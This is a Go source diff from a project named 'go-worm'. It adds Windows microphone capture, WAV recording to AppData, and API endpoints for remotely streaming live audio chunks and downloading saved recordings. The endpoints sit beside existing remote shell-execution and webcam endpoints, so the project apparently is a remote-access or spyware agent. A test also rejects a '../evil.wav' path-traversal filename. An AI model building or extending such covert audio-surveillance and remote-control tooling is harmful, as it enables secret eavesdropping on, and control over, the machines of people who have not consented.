+			_, _, _ = procWaveInUnprepareHeader.Call(s.hWave, uintptr(unsafe.Pointer(&cb.hdr)), unsafe.Sizeof(cb.hdr))
+		}
+		_, _, _ = procWaveInClose.Call(s.hWave)
+		s.hWave = 0
+	}
+	if s.rec != nil {
+		if _, err := s.rec.Close(); err != nil {
+			helpers.Log.Printf("mic record close: %v", err)
+		}
+		s.rec = nil
+		s.recName = ""
+	}
+	if s.event != 0 {
+		windows.CloseHandle(s.event)
+		s.event = 0
+	}
+}

lib/mic/names.go

@@ -0,0 +1,19 @@
+package mic
+
+import (
+	"path/filepath"
+	"regexp"
+	"time"
+)
+
+const recordingLayout = "2006-01-02-150405"
+
+var recordingPattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{6}\.wav$`)
+
+func RecordingFilename(t time.Time) string {
+	return t.Local().Format(recordingLayout) + ".wav"
+}
+
+func ValidRecordingFilename(name string) bool {
+	return recordingPattern.MatchString(filepath.Base(name))
+}

lib/mic/recorder.go

@@ -0,0 +1,74 @@
+package mic
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+type fileRecorder struct {
+	path    string
+	f       *os.File
+	written int64
+}
+
+func openRecorder(name string) (*fileRecorder, error) {
+	dir, err := Dir()
+	if err != nil {
+		return nil, err
+	}
+	if err := os.MkdirAll(dir, 0o700); err != nil {
+		return nil, err
+	}
+	path := filepath.Join(dir, filepath.Base(name))
+	f, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600)
+	if err != nil {
+		return nil, err
+	}
+	hdr := make([]byte, wavHeaderSize)
+	writeWAVHeader(hdr, 0)
+	if _, err := f.Write(hdr); err != nil {
+		_ = f.Close()
+		return nil, err
+	}
+	return &fileRecorder{path: path, f: f}, nil
+}
+
+func (r *fileRecorder) Write(pcm []byte) error {
+	if len(pcm) == 0 {
+		return nil
+	}
+	if r.written+int64(len(pcm)) > config.MaxUploadSize {
+		return fmt.Errorf("recording exceeds %d bytes", config.MaxUploadSize)
+	}
+	n, err := r.f.Write(pcm)
+	r.written += int64(n)
+	return err
+}
+
+func (r *fileRecorder) Close() (int64, error) {
+	if r.f == nil {
+		return 0, nil
+	}
+	hdr := make([]byte, wavHeaderSize)
+	writeWAVHeader(hdr, int(r.written))
+	if _, err := r.f.Seek(0, 0); err != nil {
+		_ = r.f.Close()
+		r.f = nil
+		return r.written, err
+	}
+	if _, err := r.f.Write(hdr); err != nil {
+		_ = r.f.Close()
+		r.f = nil
+		return r.written, err
+	}
+	err := r.f.Close()
+	r.f = nil
+	return r.written, err
+}
+
+func (r *fileRecorder) basename() string {
+	return filepath.Base(r.path)
+}

lib/mic/wav.go

@@ -0,0 +1,61 @@
+package mic
+
+import (
+	"encoding/binary"
+	"errors"
+)
+
+const (
+	SampleRate     = 16000
+	Channels       = 1
+	BitsPerSample  = 16
+	BytesPerSample = BitsPerSample / 8 * Channels
+)
+
+var wavHeaderSize = 44
+
+// EncodeWAV wraps 16-bit mono PCM in a complete WAV file.
+func EncodeWAV(pcm []byte) []byte {
+	if len(pcm) == 0 {
+		return nil
+	}
+	if len(pcm)%BytesPerSample != 0 {
+		pcm = pcm[:len(pcm)-len(pcm)%BytesPerSample]
+	}
+	out := make([]byte, wavHeaderSize+len(pcm))
+	writeWAVHeader(out, len(pcm))
+	copy(out[wavHeaderSize:], pcm)
+	return out
+}
+
+func writeWAVHeader(buf []byte, dataLen int) {
+	if len(buf) < wavHeaderSize {
+		return
+	}
+	copy(buf[0:4], "RIFF")
+	binary.LittleEndian.PutUint32(buf[4:8], uint32(36+dataLen))
+	copy(buf[8:12], "WAVE")
+	copy(buf[12:16], "fmt ")
+	binary.LittleEndian.PutUint32(buf[16:20], 16)
+	binary.LittleEndian.PutUint16(buf[20:22], 1) // PCM
+	binary.LittleEndian.PutUint16(buf[22:24], Channels)
+	binary.LittleEndian.PutUint32(buf[24:28], SampleRate)
+	byteRate := SampleRate * Channels * BytesPerSample
+	binary.LittleEndian.PutUint32(buf[28:32], uint32(byteRate))
+	binary.LittleEndian.PutUint16(buf[32:34], uint16(Channels*BytesPerSample))
+	binary.LittleEndian.PutUint16(buf[34:36], BitsPerSample)
+	copy(buf[36:40], "data")
+	binary.LittleEndian.PutUint32(buf[40:44], uint32(dataLen))
+}
+
+// PCMBytesFromWAV returns PCM payload length implied by a WAV header.
+func PCMBytesFromWAV(hdr []byte) (int, error) {
+	if len(hdr) < wavHeaderSize {
+		return 0, errors.New("wav header too short")
+	}
+	if string(hdr[0:4]) != "RIFF" || string(hdr[8:12]) != "WAVE" {
+		return 0, errors.New("not a wav file")
+	}
+	dataLen := int(binary.LittleEndian.Uint32(hdr[40:44]))
+	return dataLen, nil
+}

lib/mic/wav_test.go

@@ -0,0 +1,44 @@
+package mic
+
+import (
+	"testing"
+	"time"
+)
+
+func TestEncodeWAVRoundTrip(t *testing.T) {
+	t.Parallel()
+	pcm := make([]byte, 3200)
+	for i := range pcm {
+		pcm[i] = byte(i % 256)
+	}
+	wav := EncodeWAV(pcm)
+	if len(wav) != wavHeaderSize+len(pcm) {
+		t.Fatalf("wav len = %d, want %d", len(wav), wavHeaderSize+len(pcm))
+	}
+	got, err := PCMBytesFromWAV(wav)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got != len(pcm) {
+		t.Fatalf("pcm bytes = %d, want %d", got, len(pcm))
+	}
+}
+
+func TestRecordingFilename(t *testing.T) {
+	t.Parallel()
+	name := RecordingFilename(mustTime("2006-01-02T15:04:05"))
+	if name != "2006-01-02-150405.wav" {
+		t.Fatalf("name = %q", name)
+	}
+	if !ValidRecordingFilename(name) {
+		t.Fatal("expected valid filename")
+	}
+	if ValidRecordingFilename("../evil.wav") {
+		t.Fatal("expected invalid filename")
+	}
+}
+
+func mustTime(s string) (t time.Time) {
+	t, _ = time.ParseInLocation("2006-01-02T15:04:05", s, time.Local)
+	return t
+}

lib/openapi/spec.go

@@ -219,6 +219,94 @@ func Spec() map[string]any {
 					}),
 				},
 			},
+			"/api/v1/mic": map[string]any{
+				"get": map[string]any{
+					"summary":     "List microphones",
+					"operationId": "listMics",
+					"responses": auth(map[string]any{
+						"200": okJSON("Capture devices", ref("MicList")),
+						"503": errResp("Microphone enumeration failed"),
+					}),
+				},
+				"delete": map[string]any{
+					"summary":     "Stop microphone capture",
+					"operationId": "stopMic",
+					"responses": auth(map[string]any{
+						"204": map[string]any{"description": "Capture stopped"},
+					}),
+				},
+			},
+			"/api/v1/mic/chunk": map[string]any{
+				"get": map[string]any{
+					"summary":     "Poll ~200ms of microphone audio",
+					"operationId": "micChunk",
+					"parameters": []map[string]any{
+						{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
+					},
+					"responses": auth(map[string]any{
+						"200": map[string]any{
+							"description": "WAV audio chunk",
+							"content": map[string]any{
+								"audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
+							},
+						},
+						"204": map[string]any{"description": "No audio buffered yet"},
+						"400": errResp("Invalid device"),
+						"503": errResp("Microphone capture failed"),
+					}),
+				},
+			},
+			"/api/v1/mic/record": map[string]any{
+				"post": map[string]any{
+					"summary":     "Start recording microphone to AppData",
+					"operationId": "startMicRecord",
+					"parameters": []map[string]any{
+						{"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}},
+					},
+					"responses": auth(map[string]any{
+						"200": okJSON("Recording started", ref("MicRecordState")),
+						"409": errResp("Already recording"),
+						"400": errResp("Invalid device"),
+						"503": errResp("Could not start recording"),
+					}),
+				},
+				"delete": map[string]any{
+					"summary":     "Stop recording",
+					"operationId": "stopMicRecord",
+					"responses": auth(map[string]any{
+						"200": okJSON("Recording stopped", ref("MicRecordState")),
+						"400": errResp("Not recording"),
+					}),
+				},
+			},
+			"/api/v1/mic/recordings": map[string]any{
+				"get": map[string]any{
+					"summary":     "List saved microphone recordings",
+					"operationId": "listMicRecordings",
+					"responses": auth(map[string]any{
+						"200": okJSON("Recording files", ref("MicRecordingList")),
+					}),
+				},
+			},
+			"/api/v1/mic/download": map[string]any{
+				"get": map[string]any{
+					"summary":     "Download a saved recording",
+					"operationId": "downloadMicRecording",
+					"parameters": []map[string]any{
+						{"name": "file", "in": "query", "required": true, "schema": map[string]string{"type": "string"}},
+					},
+					"responses": auth(map[string]any{
+						"200": map[string]any{
+							"description": "WAV file",
+							"content": map[string]any{
+								"audio/wav": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
+							},
+						},
+						"400": errResp("Invalid file name"),
+						"404": errResp("Recording not found"),
+					}),
+				},
+			},
 			"/api/v1/exec": map[string]any{
 				"post": map[string]any{
 					"summary":     "Run a shell command",
@@ -559,6 +647,43 @@ func Spec() map[string]any {
 						"devices": map[string]any{"type": "array", "items": ref("WebcamDevice")},
 					},
 				},
+				"MicDevice": map[string]any{
+					"type": "object",
+					"properties": map[string]any{
+						"index": map[string]any{"type": "integer"},
+						"name":  map[string]string{"type": "string"},
+					},
+				},
+				"MicList": map[string]any{
+					"type": "object",
+					"properties": map[string]any{
+						"devices": map[string]any{"type": "array", "items": ref("MicDevice")},
+					},
+				},
+				"MicRecordState": map[string]any{
+					"type": "object",
+					"properties": map[string]any{
+						"file":      map[string]string{"type": "string"},
+						"size":      map[string]any{"type": "integer", "format": "int64"},
+						"recording": map[string]any{"type": "boolean"},
+					},
+				},
+				"MicRecordingList": map[string]any{
+					"type": "object",
+					"properties": map[string]any{
+						"directory": map[string]string{"type": "string"},
+						"recording": map[string]any{"type": "boolean"},
+						"files":     map[string]any{"type": "array", "items": ref("MicFile")},
+					},
+				},
+				"MicFile": map[string]any{
+					"type": "object",
+					"properties": map[string]any{
+						"name":          map[string]string{"type": "string"},
+						"size":          map[string]any{"type": "integer", "format": "int64"},
+						"modified_time": map[string]string{"type": "string", "format": "date-time"},
+					},
+				},
 			},
 		},
 	}

lib/openapi/spec_test.go

@@ -11,6 +11,9 @@ func TestSpec(t *testing.T) {
 	if !ok || len(paths) < 12 {
 		t.Fatalf("expected at least 12 paths, got %d", len(paths))
 	}
+	if _, ok := paths["/api/v1/mic"]; !ok {
+		t.Fatal("missing /api/v1/mic")
+	}
 	if _, ok := paths["/api/v1/watchdog"]; !ok {
 		t.Fatal("missing /api/v1/watchdog")
 	}